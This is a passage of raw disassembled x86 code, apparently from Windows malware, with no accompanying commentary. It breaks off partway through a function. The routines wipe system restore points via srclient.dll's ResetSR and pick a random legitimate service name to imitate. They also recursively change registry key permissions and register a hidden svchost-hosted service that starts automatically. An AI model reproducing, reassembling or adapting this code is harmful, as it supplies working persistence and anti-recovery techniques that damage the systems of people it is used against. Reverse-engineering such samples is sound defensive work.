		pop	ecx
		jz	short loc_9ADE5E
		push	esi
		call	sub_9AC384
		test	eax, eax
		pop	ecx
		jnz	short loc_9ADE60


loc_9ADE5E:				; CODE XREF: sub_9ADBF1+260j
		xor	esi, esi


loc_9ADE60:				; CODE XREF: sub_9ADBF1+26Bj
		xor	eax, eax
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_4], eax
		jbe	short loc_9ADEE5


loc_9ADE6A:				; CODE XREF: sub_9ADBF1+2B9j
		lea	eax, [eax+eax*2]
		push	dword ptr [ebp+eax*4+in.S_un]
		call	sub_9AC384
		test	eax, eax
		pop	ecx
		jz	short loc_9ADEA0
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+eax*2]
		mov	ecx, dword ptr [ebp+ecx*4+in.S_un]
		cmp	ecx, esi
		jz	short loc_9ADE93
		cmp	esi, ebx
		jnz	short loc_9ADEA3


loc_9ADE93:				; CODE XREF: sub_9ADBF1+29Cj
		push	ebx
		push	ecx
		call	sub_9AFEDD
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9ADEAE


loc_9ADEA0:				; CODE XREF: sub_9ADBF1+28Bj
		mov	eax, [ebp+var_4]


loc_9ADEA3:				; CODE XREF: sub_9ADBF1+2A0j
		inc	eax
		cmp	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jb	short loc_9ADE6A
		jmp	short loc_9ADEE5
; ---------------------------------------------------------------------------


loc_9ADEAE:				; CODE XREF: sub_9ADBF1+2ADj
		mov	eax, [ebp+var_4]
		lea	eax, [eax+eax*2]
		shl	eax, 2
		mov	ecx, dword ptr [ebp+eax+in.S_un]
		mov	edx, [ebp+eax+var_C4C]
		mov	eax, [ebp+eax+var_C48]
		mov	[ebp+var_18], eax
		mov	eax, dword_9BB2F4
		mov	[ebp+Dst], ecx
		mov	[ebp+var_1C], edx
		mov	dword_9BB2BC, eax
		mov	dword_9BB2B8, ecx


loc_9ADEE5:				; CODE XREF: sub_9ADBF1+277j
					; sub_9ADBF1+2BBj
		cmp	dword_9BB2B8, ebx
		jz	loc_9ADF7F


loc_9ADEF1:				; CODE XREF: sub_9ADBF1+24Aj
		push	ebx
		push	dword_9BB2BC
		lea	eax, [ebp+Name]
		push	dword_9BB2B8
		push	offset aW08x08x08x ; "w%08x%08x%08x"
		push	20h		; Count
		push	eax		; Dest
		call	_snprintf
		add	esp, 18h
		lea	eax, [ebp+Name]
		push	eax		; lpName
		push	ebx		; bInitialState
		push	1		; bManualReset
		push	ebx		; lpEventAttributes
		mov	[ebp+var_29], bl
		call	CreateEventA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_9ADF7F
		call	GetLastError
		cmp	eax, 0B7h
		jz	short loc_9ADF78
		push	18h		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	[eax], esi
		mov	ecx, dword_9BB2B8
		mov	[eax+4], ecx
		mov	ecx, dword_9BB2BC
		mov	[eax+10h], ecx
		lea	ecx, [ebp+var_4C]
		push	ecx		; lpThreadId
		push	ebx		; dwCreationFlags
		push	eax		; lpParameter
		push	offset sub_9AD831 ; lpStartAddress
		push	ebx		; dwStackSize
		push	ebx		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle
		push	32h		; dwMilliseconds
		call	Sleep
		jmp	short loc_9ADF7F
; ---------------------------------------------------------------------------


loc_9ADF78:				; CODE XREF: sub_9ADBF1+343j
		push	esi		; hObject
		call	CloseHandle


loc_9ADF7F:				; CODE XREF: sub_9ADBF1+2FAj
					; sub_9ADBF1+336j ...
		mov	[ebp+var_14], 1


loc_9ADF86:				; CODE XREF: sub_9ADBF1+506j
		push	4E20h		; dwMilliseconds
		call	Sleep
		lea	eax, [ebp+var_1850]
		push	100h		; int
		push	eax		; Dst
		call	sub_9AC416
		cmp	eax, [ebp+var_C]
		pop	ecx
		pop	ecx
		mov	[ebp+var_24], eax
		jz	short loc_9ADFAF
		mov	[ebp+var_14], ebx


loc_9ADFAF:				; CODE XREF: sub_9ADBF1+3B9j
		xor	eax, eax
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_4], eax
		jbe	loc_9AE0F4


loc_9ADFBD:				; CODE XREF: sub_9ADBF1+4FDj
		cmp	[ebp+var_24], ebx
		mov	[ebp+var_8], ebx
		jbe	short loc_9AE006
		lea	ecx, [eax+eax*2]
		shl	ecx, 2
		mov	esi, dword ptr [ebp+ecx+in.S_un]
		lea	edx, [ebp+var_184C]


loc_9ADFD8:				; CODE XREF: sub_9ADBF1+413j
		cmp	[edx-4], esi
		jnz	short loc_9ADFF8
		mov	edi, [edx]
		cmp	edi, [ebp+ecx+var_C4C]
		jnz	short loc_9ADFF8
		mov	edi, [edx+4]
		cmp	edi, [ebp+ecx+var_C48]
		jz	loc_9AE0E7


loc_9ADFF8:				; CODE XREF: sub_9ADBF1+3EAj
					; sub_9ADBF1+3F5j
		mov	edi, [ebp+var_24]
		inc	[ebp+var_8]
		add	edx, 0Ch
		cmp	[ebp+var_8], edi
		jb	short loc_9ADFD8


loc_9AE006:				; CODE XREF: sub_9ADBF1+3D2j
		lea	eax, [eax+eax*2]
		shl	eax, 2
		push	[ebp+eax+var_C48]
		push	[ebp+eax+var_C4C]
		push	dword ptr [ebp+eax+in.S_un]
		lea	eax, [ebp+Name]
		push	offset aL08x08x08x ; "l%08x%08x%08x"
		push	20h		; Count
		push	eax		; Dest
		call	_snprintf
		mov	esi, OpenEventA
		add	esp, 18h
		lea	eax, [ebp+Name]
		push	eax		; lpName
		push	ebx		; bInheritHandle
		push	2		; dwDesiredAccess
		mov	[ebp+var_29], bl
		call	esi ; OpenEventA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_9AE05B
		push	edi		; hEvent
		call	SetEvent
		push	edi		; hObject
		call	CloseHandle


loc_9AE05B:				; CODE XREF: sub_9ADBF1+45Aj
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+Dst]
		lea	ecx, [eax+eax*2]
		shl	ecx, 2
		cmp	edx, dword ptr [ebp+ecx+in.S_un]
		jnz	short loc_9AE0E4
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+ecx+var_C4C]
		jnz	short loc_9AE0E4
		mov	edx, [ebp+var_18]
		cmp	edx, [ebp+ecx+var_C48]
		jnz	short loc_9AE0E4
		push	0Ch		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	memset
		push	ebx
		push	dword_9BB2BC
		lea	eax, [ebp+Name]
		push	dword_9BB2B8
		push	offset aW08x08x08x ; "w%08x%08x%08x"
		push	20h		; Count
		push	eax		; Dest
		call	_snprintf
		add	esp, 24h
		lea	eax, [ebp+Name]
		push	eax		; lpName
		push	ebx		; bInheritHandle
		push	2		; dwDesiredAccess
		mov	[ebp+var_29], bl
		call	esi ; OpenEventA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_9AE0D5
		push	esi		; hEvent
		call	SetEvent
		push	esi		; hObject
		call	CloseHandle


loc_9AE0D5:				; CODE XREF: sub_9ADBF1+4D4j
		push	ebx		; Value
		push	offset dword_9BB2B8 ; Target
		call	InterlockedExchange
		mov	eax, [ebp+var_4]


loc_9AE0E4:				; CODE XREF: sub_9ADBF1+47Dj
					; sub_9ADBF1+489j ...
		mov	[ebp+var_14], ebx


loc_9AE0E7:				; CODE XREF: sub_9ADBF1+401j
		inc	eax
		cmp	eax, [ebp+var_C]
		mov	[ebp+var_4], eax
		jb	loc_9ADFBD


loc_9AE0F4:				; CODE XREF: sub_9ADBF1+3C6j
		cmp	[ebp+var_14], ebx
		jnz	loc_9ADF86
		jmp	loc_9ADC1E
sub_9ADBF1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AE102	proc near		; CODE XREF: StartAddress+1ADp

ThreadId	= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, CreateThread
		push	edi
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		xor	ebx, ebx
		push	ebx		; dwCreationFlags
		push	ebx		; lpParameter
		push	offset sub_9ADB83 ; lpStartAddress
		push	ebx		; dwStackSize
		push	ebx		; lpThreadAttributes
		call	esi ; CreateThread
		mov	edi, CloseHandle
		push	eax		; hObject
		call	edi ; CloseHandle
		lea	eax, [ebp+ThreadId]
		push	eax		; lpThreadId
		push	ebx		; dwCreationFlags
		push	ebx		; lpParameter
		push	offset sub_9ADBF1 ; lpStartAddress
		push	ebx		; dwStackSize
		push	ebx		; lpThreadAttributes
		call	esi ; CreateThread
		push	eax		; hObject
		call	edi ; CloseHandle
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AE102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AE140	proc near		; CODE XREF: sub_9AE850:loc_9AEA37p

var_20		= dword	ptr -20h
hLibModule	= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	10h
		push	offset stru_9A4650
		call	__SEH_prolog
		push	offset LibFileName ; "srclient.dll"
		call	LoadLibraryA
		mov	[ebp+hLibModule], eax
		and	[ebp+ms_exc.disabled], 0
		test	eax, eax
		jz	short loc_9AE182
		push	offset aResetsr	; "ResetSR"
		push	eax		; hModule
		call	GetProcAddress
		mov	[ebp+var_20], eax
		test	eax, eax
		jz	short loc_9AE182
		push	0
		call	eax
		jmp	short loc_9AE182
; ---------------------------------------------------------------------------


loc_9AE17B:				; DATA XREF: .text:stru_9A4650o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AE17F:				; DATA XREF: .text:stru_9A4650o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9AE182:				; CODE XREF: sub_9AE140+20j
					; sub_9AE140+33j ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		push	[ebp+hLibModule] ; hLibModule
		call	FreeLibrary
		call	__SEH_epilog
		retn
sub_9AE140	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9AE195	proc near		; CODE XREF: sub_9AE850+3Cp

Buffer		= _QUERY_SERVICE_CONFIGW ptr -2050h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
ResumeHandle	= dword	ptr -3Ch
var_38		= dword	ptr -38h
pcbBytesNeeded	= dword	ptr -34h
hSCObject	= dword	ptr -30h
ServicesReturned= dword	ptr -2Ch
var_28		= dword	ptr -28h
dwBytes		= dword	ptr -24h
var_20		= dword	ptr -20h
hMem		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_9A4660
		push	offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		mov	eax, 2038h
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		mov	[ebp+var_40], ebx
		mov	[ebp+var_4], ebx
		push	20005h		; dwDesiredAccess
		push	ebx		; lpDatabaseName
		push	ebx		; lpMachineName
		call	OpenSCManagerW
		mov	[ebp+hSCObject], eax
		cmp	eax, ebx
		jz	loc_9AE36F
		mov	[ebp+dwBytes], ebx
		mov	[ebp+ServicesReturned],	ebx
		mov	[ebp+ResumeHandle], ebx
		mov	[ebp+hMem], ebx
		mov	esi, GlobalAlloc


loc_9AE1F6:				; CODE XREF: sub_9AE195+B3j
		lea	eax, [ebp+ResumeHandle]
		push	eax		; lpResumeHandle
		lea	eax, [ebp+ServicesReturned]
		push	eax		; lpServicesReturned
		lea	eax, [ebp+dwBytes]
		push	eax		; pcbBytesNeeded
		push	[ebp+dwBytes]	; cbBufSize
		push	[ebp+hMem]	; lpServices
		push	3		; dwServiceState
		push	30h		; dwServiceType
		push	[ebp+hSCObject]	; hSCManager
		call	EnumServicesStatusW
		mov	[ebp+var_44], eax
		cmp	eax, ebx
		jnz	short loc_9AE24A
		call	GetLastError
		cmp	eax, 0EAh
		jnz	short loc_9AE24A
		cmp	[ebp+hMem], ebx
		jz	short loc_9AE237
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9AE237:				; CODE XREF: sub_9AE195+97j
		push	[ebp+dwBytes]	; dwBytes
		push	40h		; uFlags
		call	esi ; GlobalAlloc
		mov	[ebp+hMem], eax
		cmp	eax, ebx
		jz	short loc_9AE24A
		mov	[ebp+ResumeHandle], ebx
		jmp	short loc_9AE1F6
; ---------------------------------------------------------------------------


loc_9AE24A:				; CODE XREF: sub_9AE195+85j
					; sub_9AE195+92j ...
		cmp	[ebp+var_44], ebx
		jz	loc_9AE35D
		cmp	[ebp+hMem], ebx
		jz	loc_9AE35D
		mov	eax, [ebp+ServicesReturned]
		shl	eax, 2
		push	eax		; dwBytes
		push	40h		; uFlags
		call	esi ; GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_50], edi
		mov	[ebp+var_20], ebx
		or	[ebp+var_38], 0FFFFFFFFh
		xor	esi, esi


loc_9AE275:				; CODE XREF: sub_9AE195+187j
		mov	[ebp+var_28], esi
		cmp	esi, [ebp+ServicesReturned]
		jnb	loc_9AE321
		push	20005h		; dwDesiredAccess
		lea	eax, [esi+esi*8]
		mov	ecx, [ebp+hMem]
		push	dword ptr [ecx+eax*4] ;	lpServiceName
		push	[ebp+hSCObject]	; hSCManager
		call	OpenServiceW
		mov	ebx, eax
		mov	[ebp+var_48], ebx
		test	ebx, ebx
		jz	short loc_9AE319
		lea	eax, [ebp+pcbBytesNeeded]
		push	eax		; pcbBytesNeeded
		push	2000h		; cbBufSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpServiceConfig
		push	ebx		; hService
		call	QueryServiceConfigW
		test	eax, eax
		jz	short loc_9AE312
		cmp	[ebp+Buffer.dwStartType], 2
		jnz	short loc_9AE312
		lea	eax, [ebp+pcbBytesNeeded]
		push	eax		; pcbBytesNeeded
		push	2000h		; cbBufSize
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	1		; dwInfoLevel
		push	ebx		; hService
		call	QueryServiceConfig2W
		test	eax, eax
		jz	short loc_9AE312
		cmp	[ebp+pcbBytesNeeded], 0
		jz	short loc_9AE312
		lea	eax, [ebp+Buffer]
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+Buffer.dwServiceType]
		test	eax, eax
		jz	short loc_9AE312
		cmp	word ptr [eax],	0
		jz	short loc_9AE312
		push	eax		; Str
		call	_wcsdup
		pop	ecx
		mov	ecx, [ebp+var_20]
		mov	[edi+ecx*4], eax
		inc	[ebp+var_20]


loc_9AE312:				; CODE XREF: sub_9AE195+125j
					; sub_9AE195+12Ej ...
		push	ebx		; hSCObject
		call	CloseServiceHandle


loc_9AE319:				; CODE XREF: sub_9AE195+10Aj
		inc	esi
		xor	ebx, ebx
		jmp	loc_9AE275
; ---------------------------------------------------------------------------


loc_9AE321:				; CODE XREF: sub_9AE195+E6j
		cmp	[ebp+var_20], ebx
		jz	short loc_9AE33A
		call	rand
		xor	edx, edx
		div	[ebp+var_20]
		mov	[ebp+var_38], edx
		mov	eax, [edi+edx*4]
		mov	[ebp+var_40], eax


loc_9AE33A:				; CODE XREF: sub_9AE195+18Fj
		xor	esi, esi


loc_9AE33C:				; CODE XREF: sub_9AE195+1BFj
		mov	[ebp+var_28], esi
		cmp	esi, [ebp+var_20]
		jnb	short loc_9AE356
		cmp	[ebp+var_38], esi
		jz	short loc_9AE353
		push	dword ptr [edi+esi*4] ;	Memory
		call	free
		pop	ecx


loc_9AE353:				; CODE XREF: sub_9AE195+1B2j
		inc	esi
		jmp	short loc_9AE33C
; ---------------------------------------------------------------------------


loc_9AE356:				; CODE XREF: sub_9AE195+1ADj
		push	edi		; hMem
		call	GlobalFree


loc_9AE35D:				; CODE XREF: sub_9AE195+B8j
					; sub_9AE195+C1j
		push	[ebp+hMem]	; hMem
		call	GlobalFree
		push	[ebp+hSCObject]	; hSCObject
		call	CloseServiceHandle


loc_9AE36F:				; CODE XREF: sub_9AE195+49j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_9AE382
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		xor	ebx, ebx


loc_9AE382:				; CODE XREF: sub_9AE195+1DEj
		mov	eax, [ebp+var_40]
		cmp	eax, ebx
		jnz	short loc_9AE395
		push	offset Str	; Str
		call	_wcsdup
		pop	ecx


loc_9AE395:				; CODE XREF: sub_9AE195+1F2j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AE195	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AE3A4(HKEY hKey)

sub_9AE3A4	proc near		; CODE XREF: sub_9AE496+80p

pSecurityDescriptor= byte ptr -48h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
pSid		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
hKey		= dword	ptr  8

		push	38h
		push	offset stru_9A4670
		call	__SEH_prolog
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+pSid], ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	[ebp+pIdentifierAuthority.Value], bl
		mov	[ebp+pIdentifierAuthority.Value+1], bl
		mov	[ebp+pIdentifierAuthority.Value+2], bl
		mov	[ebp+pIdentifierAuthority.Value+3], bl
		mov	[ebp+pIdentifierAuthority.Value+4], bl
		mov	[ebp+pIdentifierAuthority.Value+5], 5
		lea	eax, [ebp+pSid]
		push	eax		; pSid
		push	ebx		; nSubAuthority7
		push	ebx		; nSubAuthority6
		push	ebx		; nSubAuthority5
		push	ebx		; nSubAuthority4
		push	ebx		; nSubAuthority3
		push	ebx		; nSubAuthority2
		push	ebx		; nSubAuthority1
		push	12h		; nSubAuthority0
		push	1		; nSubAuthorityCount
		lea	eax, [ebp+pIdentifierAuthority]
		push	eax		; pIdentifierAuthority
		call	AllocateAndInitializeSid
		push	[ebp+pSid]	; pSid
		call	GetLengthSid
		mov	esi, eax
		add	esi, 10h
		mov	[ebp+var_28], esi
		push	esi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	edi, eax
		mov	[ebp+var_20], edi
		cmp	edi, ebx
		jz	short loc_9AE45E
		push	2		; dwAclRevision
		push	esi		; nAclLength
		push	edi		; pAcl
		call	InitializeAcl
		push	[ebp+pSid]	; pSid
		push	20019h		; AccessMask
		push	2		; dwAceRevision
		push	edi		; pAcl
		call	AddAccessAllowedAce
		push	1		; dwRevision
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		call	InitializeSecurityDescriptor
		push	ebx		; bDaclDefaulted
		push	edi		; pDacl
		push	1		; bDaclPresent
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		call	SetSecurityDescriptorDacl
		lea	eax, [ebp+pSecurityDescriptor]
		push	eax		; pSecurityDescriptor
		push	4		; SecurityInformation
		push	[ebp+hKey]	; hKey
		call	RegSetKeySecurity
		mov	[ebp+var_2C], eax
		xor	ecx, ecx
		cmp	eax, ebx
		setz	cl
		mov	[ebp+var_24], ecx


loc_9AE45E:				; CODE XREF: sub_9AE3A4+67j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9AE474
; ---------------------------------------------------------------------------


loc_9AE464:				; DATA XREF: .text:stru_9A4670o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AE468:				; DATA XREF: .text:stru_9A4670o
		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	ebx, ebx
		mov	edi, [ebp+var_20]


loc_9AE474:				; CODE XREF: sub_9AE3A4+BEj
		cmp	edi, ebx
		jz	short loc_9AE47F
		push	edi		; hMem
		call	GlobalFree


loc_9AE47F:				; CODE XREF: sub_9AE3A4+D2j
		cmp	[ebp+pSid], ebx
		jz	short loc_9AE48D
		push	[ebp+pSid]	; pSid
		call	FreeSid


loc_9AE48D:				; CODE XREF: sub_9AE3A4+DEj
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
sub_9AE3A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AE496(HKEY hKey)

sub_9AE496	proc near		; CODE XREF: sub_9AE496+49p
					; sub_9AE641+1E8p

Name		= word ptr -214h
phkResult	= dword	ptr -0Ch
cchName		= dword	ptr -8
dwIndex		= dword	ptr -4
hKey		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		mov	edi, RegEnumKeyExW
		xor	esi, esi
		push	esi
		push	esi
		push	esi
		push	esi
		lea	eax, [ebp+cchName]
		push	eax
		lea	eax, [ebp+Name]
		push	eax
		mov	[ebp+dwIndex], esi
		push	esi
		jmp	short loc_9AE503
; ---------------------------------------------------------------------------


loc_9AE4BE:				; CODE XREF: sub_9AE496+7Bj
		lea	eax, [ebp+phkResult]
		push	eax		; phkResult
		push	0F003Fh		; samDesired
		push	esi		; ulOptions
		lea	eax, [ebp+Name]
		push	eax		; lpSubKey
		push	[ebp+hKey]	; hKey
		call	RegOpenKeyExW
		test	eax, eax
		jnz	short loc_9AE4EE
		push	[ebp+phkResult]	; hKey
		call	sub_9AE496
		pop	ecx
		push	[ebp+phkResult]	; hKey
		call	RegCloseKey


loc_9AE4EE:				; CODE XREF: sub_9AE496+44j
		inc	[ebp+dwIndex]
		push	esi		; lpftLastWriteTime
		push	esi		; lpcchClass
		push	esi		; lpClass
		push	esi		; lpReserved
		lea	eax, [ebp+cchName]
		push	eax		; lpcchName
		lea	eax, [ebp+Name]
		push	eax		; lpName
		push	[ebp+dwIndex]	; dwIndex


loc_9AE503:				; CODE XREF: sub_9AE496+26j
		push	[ebp+hKey]	; hKey
		mov	[ebp+cchName], 104h
		call	edi ; RegEnumKeyExW
		test	eax, eax
		jz	short loc_9AE4BE
		push	[ebp+hKey]	; hKey
		call	sub_9AE3A4
		pop	ecx
		pop	edi
		pop	esi
		leave
		retn
sub_9AE496	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AE520(wchar_t *Src,LPCWSTR lpValueName)

sub_9AE520	proc near		; CODE XREF: sub_9AE641+1D2p

SubKey		= word ptr -88h
Type		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
Data		= byte ptr -9
hKey		= dword	ptr -8
cbData		= dword	ptr -4
Src		= dword	ptr  8
lpValueName	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1Ah
		pop	ecx
		mov	esi, offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		lea	edi, [ebp+SubKey]
		rep movsd
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	3		; samDesired
		xor	ebx, ebx
		push	ebx		; ulOptions
		lea	eax, [ebp+SubKey]
		push	eax		; lpSubKey
		push	80000002h	; hKey
		mov	[ebp+var_10], ebx
		movsw
		call	RegOpenKeyExW
		test	eax, eax
		jnz	loc_9AE639
		mov	esi, RegQueryValueExW
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	ebx		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		mov	[ebp+cbData], 1
		push	[ebp+hKey]	; hKey
		mov	[ebp+Type], 7
		call	esi ; RegQueryValueExW
		cmp	eax, 0EAh
		jnz	loc_9AE630
		push	[ebp+Src]	; Str
		mov	edi, wcslen
		call	edi ; wcslen
		pop	ecx
		mov	ecx, [ebp+cbData]
		lea	eax, [ecx+eax*2+2]
		push	eax		; dwBytes
		push	40h		; uFlags
		mov	[ebp+var_18], eax
		call	GlobalAlloc
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_9AE630
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		push	ebx		; lpData
		lea	eax, [ebp+var_14]
		push	eax		; lpType
		push	0		; lpReserved
		push	[ebp+lpValueName] ; lpValueName
		mov	[ebp+var_14], 7
		push	[ebp+hKey]	; hKey
		call	esi ; RegQueryValueExW
		test	eax, eax
		jnz	short loc_9AE629
		mov	esi, [ebp+cbData]
		push	[ebp+Src]	; Str
		shr	esi, 1
		dec	esi
		call	edi ; wcslen
		lea	edi, [eax+eax+2]
		push	edi		; Size
		push	[ebp+Src]	; Src
		add	esi, esi
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	memcpy
		push	2		; Size
		add	esi, edi
		push	0		; Val
		add	esi, ebx
		push	esi		; Dst
		call	memset
		add	esp, 1Ch
		push	[ebp+var_18]	; cbData
		push	ebx		; lpData
		push	7		; dwType
		push	0		; Reserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegSetValueExW
		test	eax, eax
		jnz	short loc_9AE629
		mov	[ebp+var_10], 1


loc_9AE629:				; CODE XREF: sub_9AE520+B9j
					; sub_9AE520+100j
		push	ebx		; hMem
		call	GlobalFree


loc_9AE630:				; CODE XREF: sub_9AE520+72j
					; sub_9AE520+9Bj
		push	[ebp+hKey]	; hKey
		call	RegCloseKey


loc_9AE639:				; CODE XREF: sub_9AE520+3Ej
		mov	eax, [ebp+var_10]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_9AE520	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9AE641(int,wchar_t *Src,BYTE *lpData,wchar_t *lpValueName,int)

sub_9AE641	proc near		; CODE XREF: sub_9AE850+104p

Source		= word ptr -0ACh
var_60		= byte ptr -60h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
phkResult	= dword	ptr -10h
hMem		= dword	ptr -0Ch
Data		= byte ptr -8
hKey		= dword	ptr -4
arg_0		= dword	ptr  8
Src		= dword	ptr  0Ch
lpData		= dword	ptr  10h
lpValueName	= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0ACh
		and	[ebp+var_14], 0
		push	ebx
		mov	ebx, wcslen
		push	esi
		push	edi
		push	13h
		pop	ecx
		push	[ebp+lpValueName] ; Str
		mov	esi, offset aSystemrootSyst ; "%SystemRoot%\\system32\\svchost.exe -k "
		lea	edi, [ebp+Source]
		rep movsd
		call	ebx ; wcslen
		pop	ecx
		lea	eax, [eax+eax+4Ch]
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	esi, eax
		test	esi, esi
		mov	[ebp+hMem], esi
		jz	short loc_9AE6D3
		lea	eax, [ebp+Source]
		push	eax		; Source
		push	esi		; Dest
		call	wcscpy
		push	[ebp+lpValueName] ; Source
		push	esi		; Dest
		call	wcscat
		push	11h
		pop	ecx
		push	[ebp+Src]	; Str
		mov	esi, offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\"
		lea	edi, [ebp+var_60]
		rep movsd
		movsw
		call	ebx ; wcslen
		add	esp, 14h
		lea	eax, [eax+eax+46h]
		push	eax		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	esi, eax
		xor	edi, edi
		cmp	esi, edi
		mov	[ebp+var_18], esi
		jnz	short loc_9AE6DA
		push	[ebp+hMem]	; hMem
		call	GlobalFree


loc_9AE6D3:				; CODE XREF: sub_9AE641+40j
		xor	eax, eax
		jmp	loc_9AE84B
; ---------------------------------------------------------------------------


loc_9AE6DA:				; CODE XREF: sub_9AE641+87j
		lea	eax, [ebp+var_60]
		push	eax		; Source
		push	esi		; Dest
		call	wcscpy
		push	[ebp+Src]	; Source
		push	esi		; Dest
		call	wcscat
		add	esp, 10h
		push	edi		; lpdwDisposition
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	edi		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	edi		; dwOptions
		push	edi		; lpClass
		push	edi		; Reserved
		push	esi		; lpSubKey
		push	80000002h	; hKey
		call	RegCreateKeyExW
		test	eax, eax
		jnz	loc_9AE838
		push	[ebp+lpData]	; Str
		call	ebx ; wcslen
		mov	esi, RegSetValueExW
		pop	ecx
		lea	eax, [eax+eax+2]
		push	eax		; cbData
		push	[ebp+lpData]	; lpData
		push	1		; dwType
		push	edi		; Reserved
		push	offset ValueName ; "DisplayName"
		push	[ebp+hKey]	; hKey
		call	esi ; RegSetValueExW
		push	4		; cbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		push	4		; dwType
		push	edi		; Reserved
		push	offset aType	; "Type"
		push	[ebp+hKey]	; hKey
		mov	dword ptr [ebp+Data], 20h
		call	esi ; RegSetValueExW
		push	4		; cbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		push	4		; dwType
		push	edi		; Reserved
		push	offset aStart	; "Start"
		push	[ebp+hKey]	; hKey
		mov	dword ptr [ebp+Data], 2
		call	esi ; RegSetValueExW
		push	4		; cbData
		lea	eax, [ebp+Data]
		push	eax		; lpData
		push	4		; dwType
		push	edi		; Reserved
		push	offset aErrorcontrol ; "ErrorControl"
